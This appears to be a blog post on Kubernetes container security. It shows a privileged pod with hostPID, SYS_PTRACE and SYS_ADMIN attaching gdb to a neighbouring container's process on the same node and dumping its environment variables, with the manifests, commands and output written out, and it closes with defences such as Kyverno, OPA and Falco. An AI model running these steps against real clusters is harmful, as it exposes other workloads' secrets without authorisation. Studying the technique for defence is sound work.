Cross-Container Environment Variable Manipulation: Unveiling the possible Vulnerabilities in Kubernetes Environments

In containerized environments, being able to hack environment variables from malicious container to another is possible.

This article explores how to achieve this by leveraging specific kernel capabilities and system privileges. Please note that the techniques described here require appropriate permissions and should only be used in controlled and authorized scenarios.

he challenge at hand is to read the environment variables of Container Y from Container X. This requires a deeper understanding of the containerized environment and the interaction between containers.

To accomplish this task, we’ll rely on the following kernel capabilities:

1. CAP_SYS_ADMIN: This capability provides extensive control over system operations, allowing us to perform administrative tasks.
2. SYS_PTRACE: With this capability, we gain the ability to trace and debug processes, enabling us to inspect and manipulate their runtime state.
3. HOSTPID: This capability allows us to access the host’s PID namespace, granting us visibility into all processes running on the host.

Cross-Container Environment Variable Hacking

Please find bellow few steps to accomplish this.

The manifest bellow will be use to exploit and gain access to ENV var in the target deployment.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: ubuntu-capability
spec:
  replicas: 1
  selector:
    matchLabels:
      app: ubuntu-capability
  template:
    metadata:
      labels:
        app: ubuntu-capability
    spec:  
      nodeName: gke-cap-default-pool-9e9356e0-wfhl
      hostPID: true
      containers:
        - name: ubuntu
          image: ubuntu
          args: 
          - "sleep"
          - "333333333"
          securityContext:
            capabilities:
              add:
                - SYS_PTRACE
                - SYS_ADMIN

Target :

apiVersion: apps/v1
kind: Deployment
metadata:
  name: ubuntu
spec:
  replicas: 1
  selector:
    matchLabels:
      app: ubuntu
  template:
    metadata:
      labels:
        app: ubuntu
    spec:
      nodeName: gke-cap-default-pool-9e9356e0-wfhl
      containers:
        - name: ubuntu
          image: ubuntu
          args: 
          - "sleep"
          - "5555555555"

Use nodename to group the two pods on the same host.
Let us connect to our malicious pod and install GDB (GNU Debugger):

kubectl exec -it root@ubuntu-capability-7fb58f5677-xx6jq -- bash 
apt update 
apt install gdb 

We are ready to start.

From our malicious container we will look for the target PID via the following commands:

root@ubuntu-capability-7fb58f5677-xx6jq:/# ps -ef | grep 5555
root       15097   15044  0 07:07 ?        00:00:00 sleep 5555555555

And we will use the GDB binary to attach this process to ours.

root@ubuntu-capability-7fb58f5677-xx6jq:/# gdb -p 15097

You should have an output similar to mine.

Now we just have to read the memory of this process:

(gdb) info proc mappings
process 15097
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x558fda523000     0x558fda525000     0x2000        0x0  r--p   /usr/bin/sleep
      0x558fda525000     0x558fda529000     0x4000     0x2000  r-xp   /usr/bin/sleep
      0x558fda529000     0x558fda52a000     0x1000     0x6000  r--p   /usr/bin/sleep
      0x558fda52b000     0x558fda52c000     0x1000     0x7000  r--p   /usr/bin/sleep
      0x558fda52c000     0x558fda52d000     0x1000     0x8000  rw-p   /usr/bin/sleep
      0x558fdb353000     0x558fdb374000    0x21000        0x0  rw-p   [heap]
      0x7fa36dd16000     0x7fa36dd19000     0x3000        0x0  rw-p   
      0x7fa36dd19000     0x7fa36dd41000    0x28000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7fa36dd41000     0x7fa36ded6000   0x195000    0x28000  r-xp   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7fa36ded6000     0x7fa36df2e000    0x58000   0x1bd000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7fa36df2e000     0x7fa36df32000     0x4000   0x214000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7fa36df32000     0x7fa36df34000     0x2000   0x218000  rw-p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7fa36df34000     0x7fa36df41000     0xd000        0x0  rw-p   
      0x7fa36df43000     0x7fa36df45000     0x2000        0x0  rw-p   
      0x7fa36df45000     0x7fa36df47000     0x2000        0x0  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7fa36df47000     0x7fa36df71000    0x2a000     0x2000  r-xp   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7fa36df71000     0x7fa36df7c000     0xb000    0x2c000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7fa36df7d000     0x7fa36df7f000     0x2000    0x37000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7fa36df7f000     0x7fa36df81000     0x2000    0x39000  rw-p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffcce023000     0x7ffcce044000    0x21000        0x0  rw-p   [stack]
      0x7ffcce1ec000     0x7ffcce1f0000     0x4000        0x0  r--p   [vvar]
      0x7ffcce1f0000     0x7ffcce1f2000     0x2000        0x0  r-xp   [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0  r-xp   [vsyscall]

We will intervene in the part below:

0x558fdb353000     0x558fdb374000    0x21000        0x0  rw-p   [heap] 

(gdb) x/s 0x558fdb353000
0x558fdb353000: ""
(gdb) call (char **)environ
$1 = (char **) 0x7ffcce042850
(gdb) x/s 0x7ffcce042850       
0x7ffcce042850: "a>\004\316\374\177"
(gdb) set $env = (char **)environ

(gdb) x/s $env[0]
0x7ffcce043e61: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
(gdb) x/s $env[1]
0x7ffcce043ea3: "HOSTNAME=ubuntu-57599bf7b8-928wf"
(gdb) Quit
(gdb) 
0x7ffcce043ec4: "KUBERNETES_SERVICE_PORT=443"
(gdb) 
0x7ffcce043ee0: "KUBERNETES_SERVICE_PORT_HTTPS=443"
(gdb) 
0x7ffcce043f02: "KUBERNETES_PORT=tcp://10.56.0.1:443"
(gdb) 
0x7ffcce043f26: "KUBERNETES_PORT_443_TCP=tcp://10.56.0.1:443"
(gdb) 
0x7ffcce043f52: "KUBERNETES_PORT_443_TCP_PROTO=tcp"
(gdb) 
0x7ffcce043f74: "KUBERNETES_PORT_443_TCP_PORT=443"
(gdb) 
0x7ffcce043f95: "KUBERNETES_PORT_443_TCP_ADDR=10.56.0.1"
(gdb) 
0x7ffcce043fbc: "KUBERNETES_SERVICE_HOST=10.56.0.1"
(gdb) 

We now have access to target container environments variables.If secret has been imported in this container i can read from another container.

"HOSTNAME=ubuntu-57599bf7b8-928wf" #### IT'S MY TARGET CONTAINER 

Conclusion

Container security is of utmost importance in today’s distributed computing environments. Preventing unauthorized access and malicious activities, such as reading environment variables across containers, requires implementing effective security measures. This article explores some recommended strategies to mitigate such risks and enhance the security posture of your Kubernetes environment. We will also touch upon the significance of runtime protection and security observability.

1. Policy Enforcement with Sysdig-Kyverno or OPA: To mitigate the risk of unauthorized access to environment variables across containers, Kubernetes policy enforcement tools like Sysdig-Kyverno or Open Policy Agent (OPA) can be utilized. These tools enable you to define and enforce policies that restrict the usage of sensitive capabilities, such as CAP_SYS_ADMIN, SYS_PTRACE, and HOSTPID, within your Kubernetes environment. By implementing these policies, you can prevent potential security breaches and unauthorized access attempts.
2. Runtime Protection: Implementing runtime protection mechanisms is crucial for securing containers. Tools like KubeArmor, Falco, and Sysdig offer runtime security protection by monitoring container activities and detecting any suspicious or malicious behavior. These tools leverage runtime instrumentation and behavior-based detection to identify and block unauthorized actions, including attempts to exploit kernel capabilities. By deploying these runtime protection solutions, you can effectively safeguard your containers against various security threats.
3. Security Observability: Having visibility into container activities is essential for identifying potential security risks and ensuring the overall security of your environment. Tools like Falco, Sysdig, and other container security platforms provide security observability capabilities. These tools offer real-time monitoring, logging, and analysis of container events, enabling you to detect and respond to security incidents promptly. With comprehensive security observability, you can gain insights into container behavior and identify any suspicious activities related to environment variable access or unauthorized privilege escalation attempts.

Securing containers and preventing unauthorized access to environment variables requires a multi-layered approach. By leveraging policy enforcement tools like Sysdig-Kyverno or OPA, you can establish fine-grained control over capabilities and enforce security policies within your Kubernetes environment. Implementing runtime protection solutions such as KubeArmor, Falco, or Sysdig helps detect and prevent malicious activities in real-time. Additionally, security observability tools offer visibility into container behavior and facilitate incident response.

To discuss further on container security strategies and best practices, please feel free to contact me. By staying proactive and implementing robust security measures, we can ensure the integrity and resilience of our containerized environments.

Disclaimer: The mentioned tools are examples and not an exhaustive list. It is important to evaluate and select the appropriate security solutions based on your specific requirements and the recommendations of your security experts.